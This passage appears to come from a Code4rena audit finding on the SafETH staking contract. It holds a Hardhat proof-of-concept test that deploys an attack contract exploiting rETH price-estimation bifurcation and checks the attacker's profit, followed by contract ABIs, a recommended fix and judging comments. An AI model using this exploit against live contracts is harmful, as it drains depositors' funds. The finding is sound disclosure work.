"rocketDAOProtocolSettingsDeposit"] ); let hash = ethers.utils.keccak256(encodedData); const rocketSettingsDepositAddress = await rocketStorage.getAddress(hash); const rocketSettingsDeposit = new ethers.Contract( rocketSettingsDepositAddress, rocketSettingsDepositAbi, adminAccount ); const rocketMaxDepositStart = await rocketSettingsDeposit.getMaximumDepositPoolSize(); console.log(`${logPrefix}rocket pool max deposit: ${rocketMaxDepositStart}`); encodedData = ethers.utils.solidityPack( ["string", "string"], ["contract.address", "rocketDAOProtocolProposals"] ); hash = ethers.utils.keccak256(encodedData); const rocketDAOPPAddress = await rocketStorage.getAddress(hash); const rocketDAOSigner = await ethers.getImpersonatedSigner(rocketDAOPPAddress); setBalance(rocketDAOSigner.address, 10n**15n); await rocketSettingsDeposit.connect(rocketDAOSigner).setSettingUint("deposit.pool.maximum", rocketMaxDepositStart.add(2000n * 10n**18n)); console.log(`${logPrefix} increased deposit maximum`); const rocketMaxDeposit = await rocketSettingsDeposit.getMaximumDepositPoolSize(); console.log(`${logPrefix}rocket pool max deposit: ${rocketMaxDeposit}`); }); it("Collecting information on SafETH's current holdings", async function () { safEthHoldingsStart = new Array(); safEthTotalValueStart = BigNumber.from(0); for (let i = 0; i < derivativeCount; i++) { const holding = await derivativeContracts[i].balance(); console.log(`${logPrefix}SafEth contract holds ${holding} of derivative ${i}`); safEthHoldingsStart.push(holding); const value = (await derivativeContracts[i].ethPerDerivative(10n**18n)).mul(holding).div(10n**18n); console.log(`${logPrefix}SafEth holdings of derivative ${i} are est. to be worth ${value.div(10n**15n)} mETH`); safEthTotalValueStart = safEthTotalValueStart.add(value); } console.log(`${logPrefix}SafEth total value estimated to be ${safEthTotalValueStart.div(10n**15n)} mETH`); }); it("Saving how many transactions admin and users have done", async function () { adminTransactionsStart = ( await ethers.provider.getTransactionCount(adminAccount.address) ); userTransactionsStart = new Array(); for(let i = 0; i < userAccounts.length; i++) { userTransactionsStart.push( await ethers.provider.getTransactionCount(userAccounts[i].address) ); } }); }); describe("Account setup", function () { it("Attacker should have a different account than admin", async function () { console.log(`${logPrefix}attacker is ${attackerAccount.address}`); expect(adminAccount.address).not.eq(attackerAccount.address); attackerBalanceInitial = (await ethers.provider.getBalance(attackerAccount.address)); }); it("Attacker should have a different account than users", async function () { for(let i = 0; i < userAccounts.length; i++) { expect(userAccounts[i].address).not.eq(attackerAccount.address); } }); it("Attacker should have a balance of 1 ETH", async function () { setBalance(attackerAccount.address, attackerBalanceStart); expect(await ethers.provider.getBalance(attackerAccount.address)).eq(attackerBalanceStart) }); it("Attacker trying to call rebalanceToWeights should revert", async function () { await expect(safEthProxy.connect(attackerAccount).rebalanceToWeights( )).to.be.revertedWith("Ownable: caller is not the owner"); }); it("Attacker trying to unstake should revert", async function () { await expect(safEthProxy.connect(attackerAccount).unstake( 1 )).to.be.revertedWith("ERC20: burn amount exceeds balance"); }); it("Attacker should have a SafEth balance of 0", async function () { expect(await safEthProxy.connect(attackerAccount).balanceOf(attackerAccount.address)).eq(0); }); it("Saving how many transactions attacker has done", async function () { attackerTransactionsStart = ( await ethers.provider.getTransactionCount(attackerAccount.address) ); }); }); describe("Attack", async function () { it("Attack ran", async function() { await (await ethers.getContractFactory( "ShalaamumAttackRethPriceBifurcationDeployer", attackerAccount)).deploy( safEthProxy.address, {gasLimit: 30n*(10n**6n)} ); }); it("Attacker used a single transaction", async function () { expect( await ethers.provider.getTransactionCount(adminAccount.address) ).eq(adminTransactionsStart); for(let i = 0; i < userAccounts.length; i++) { expect( await ethers.provider.getTransactionCount(userAccounts[i].address) ).eq(userTransactionsStart[i]); } expect( await ethers.provider.getTransactionCount(attackerAccount.address) ).eq(attackerTransactionsStart + 1); }); it("SafETH holds less now", async function () { let safEthHoldingsEnd = new Array(); let safEthTotalValueEnd = BigNumber.from(0); for (let i = 0; i < derivativeCount; i++) { const holding = await derivativeContracts[i].balance(); safEthHoldingsEnd.push(holding); let percentLost = safEthHoldingsStart[i].sub(safEthHoldingsEnd[i]).mul(100).div(safEthHoldingsStart[i]); console.log(`${logPrefix}SafEth contract holds ${percentLost}% less of derivative ${i}`); let value = (await derivativeContracts[i].ethPerDerivative(10n**18n)).mul(holding).div(10n**18n); safEthTotalValueEnd = safEthTotalValueEnd.add(value); } console.log(`${logPrefix}SafEth total value estimated to be ${safEthTotalValueEnd.div(10n**18n)} ETH`); console.log(`${logPrefix}This is down from ${safEthTotalValueStart.div(10n**18n)} ETH`); let percentLost = safEthTotalValueStart.sub(safEthTotalValueEnd).mul(100).div(safEthTotalValueStart); console.log(`${logPrefix}So value is down ${percentLost}%`); expect(percentLost).gt(0); }); it("Attacker made profit", async function () { let balanceAttacker = await ethers.provider.getBalance(attackerAccount.address); expect(balanceAttacker).gt(attackerBalanceStart); let profitEth = balanceAttacker.sub(attackerBalanceStart).div(10n**18n); console.log(`${logPrefix}Attacker made a profit of ${profitEth} ETH`); }); }); });
test/abi/rocketSettingsDepositAbi.ts
export const rocketSettingsDepositAbi = [{"inputs":[{"internalType":"contract RocketStorageInterface","name":"_rocketStorageAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"getAssignDepositsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDepositEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaximumDepositAssignments","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMaximumDepositPoolSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMinimumDeposit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"}],"name":"getSettingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"}],"name":"getSettingBool","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"}],"name":"getSettingUint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"},{"internalType":"address","name":"_value","type":"address"}],"name":"setSettingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setSettingBool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_settingPath","type":"string"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setSettingUint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"}]
test/abi/rocketStorageAbi.ts
export const rocketStorageAbi = [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldGuardian","type":"address"},{"indexed":false,"internalType":"address","name":"newGuardian","type":"address"}],"name":"GuardianChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"node","type":"address"},{"indexed":true,"internalType":"address","name":"withdrawalAddress","type":"address"},{"indexed":false,"internalType":"uint256","name":"time","type":"uint256"}],"name":"NodeWithdrawalAddressSet","type":"event"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"addUint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"confirmGuardian","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_nodeAddress","type":"address"}],"name":"confirmWithdrawalAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteBool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteBytes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteBytes32","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteInt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteString","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"deleteUint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getAddress","outputs":[{"internalType":"address","name":"r","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getBool","outputs":[{"internalType":"bool","name":"r","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getBytes","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getBytes32","outputs":[{"internalType":"bytes32","name":"r","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getDeployedStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getGuardian","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getInt","outputs":[{"internalType":"int256","name":"r","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_nodeAddress","type":"address"}],"name":"getNodePendingWithdrawalAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_nodeAddress","type":"address"}],"name":"getNodeWithdrawalAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"}],"name":"getUint","outputs":[{"internalType":"uint256","name":"r","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"address","name":"_value","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setBool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"bytes","name":"_value","type":"bytes"}],"name":"setBytes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"bytes32","name":"_value","type":"bytes32"}],"name":"setBytes32","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setDeployedStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newAddress","type":"address"}],"name":"setGuardian","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"int256","name":"_value","type":"int256"}],"name":"setInt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"string","name":"_value","type":"string"}],"name":"setString","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setUint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_nodeAddress","type":"address"},{"internalType":"address","name":"_newWithdrawalAddress","type":"address"},{"internalType":"bool","name":"_confirm","type":"bool"}],"name":"setWithdrawalAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_key","type":"bytes32"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"subUint","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Prevent price estimation bifurcation by ensuring that in stake
, both calls to
ethPerDerivative
for Reth
as well as the call to deposit
use either all
the Uniswap pool or all the rocket pool. Thus what should be passed to
ethPerDerivative
in both calls is the ethAmount
for the respective
derivative.
#0 - c4-pre-sort
2023-04-04T18:47:09Z
0xSorryNotSorry marked the issue as primary issue
#1 - c4-sponsor
2023-04-07T14:29:37Z
toshiSat marked the issue as sponsor confirmed
#2 - c4-judge
2023-04-21T14:27:15Z
Picodes marked the issue as duplicate of #1125
#3 - c4-judge
2023-04-21T14:27:20Z
Picodes marked the issue as satisfactory